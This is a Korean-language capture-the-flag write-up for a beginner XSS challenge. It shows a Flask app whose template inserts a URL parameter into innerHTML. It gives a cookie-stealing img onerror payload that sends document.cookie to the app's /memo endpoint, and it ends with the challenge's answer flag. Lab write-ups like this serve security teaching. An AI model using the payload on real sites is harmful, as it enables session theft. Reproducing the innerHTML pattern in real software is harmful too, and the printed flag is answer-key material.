문제 특징
XSS를 사용한 해킹
난이도: Lv.1
카테고리: 웹해킹
문제 구조
문제파일구성
1
2
3
4
5
6
/
├── app.py
├── static
│ #생략
└── templates
#생략
주요 코드
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
#app.py
@app.route("/")
def index():
return render_template("index.html")
@app.route("/flag", methods=["GET", "POST"])
def flag():
if request.method == "GET":
return render_template("flag.html")
elif request.method == "POST":
param = request.form.get("param")
if not check_xss(param, {"name": "flag", "value": FLAG.strip()}):
return '<script>alert("wrong??");history.go(-1);</script>'
return '<script>alert("good");history.go(-1);</script>'
memo_text = ""
@app.route("/memo")
def memo():
global memo_text
text = request.args.get("memo", "")
memo_text += text + "\n"
return render_template("memo.html", memo=memo_text)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
# /templates/vuln.html
{% extends "base.html" %}
{% block title %}Index{% endblock %}
{% block head %}
{{ super() }}
<style type="text/css">
.important { color: #336699; }
</style>
{% endblock %}
{% block content %}
<div id='vuln'></div>
<script>var x=new URLSearchParams(location.search); document.getElementById('vuln').innerHTML = x.get('param');</script>
{% endblock %}
이 문제는 문제의 제목 그대로 XSS를 활용하는 문제로, 봇(어드민)이 취약점이 존재하는 /vuln 주소로 접속하게 하여 특정 스크립트를 실행하게 만드는 문제이다.
풀이
XSS란? By claude code
XSS (Cross-Site Scripting)는 공격자가 웹 페이지에 악성 스크립트를 삽입하여 다른 사용자의 브라우저에서 실행시키는 웹 보안 취약점입니다.
웹 주소에 스크립트를 작성하여 플래그 탈취
/vuln주소에서는 'param'이라는 파라미터에 적혀있는 내용물을 id = vuln인 div 태그 속에 집어넣는다. 이때, /vuln주소의 param파라미터에 페이로드를 작성하여 div태그 속에서 악성 코드가 작동되도록 한다.
페이로드
<img src=x onerror="location.href='http://127.0.0.1:8000/memo?memo='+document.cookie">
위 페이로드를 /flag 주소의 <input>에 입력하거나, param이라는 파라미터에 해당 페이로드를 작성하여 POST요청을 보내면 해킹에 성공한다. vuln.html의 파일을 보면 Innerhtml이라는 함수가 있는데 해당 함수는 <script>속에서 작성되는 코드만 막혀 있고, 다른 태그들에 존재하는 이벤트 핸들러 속 스크립트를 작동하지 않게 하는 기능은 없다. 따라서 <img>태그를 가져오고, 의도적으로 오류가 발생하게 하여 onerror라는 이벤트 핸들러를 작동하게 하여 페이로드를 실행시킬 수 있게 만든다.
정답
DH{3c01577e9542ec24d68ba0ffb846508f}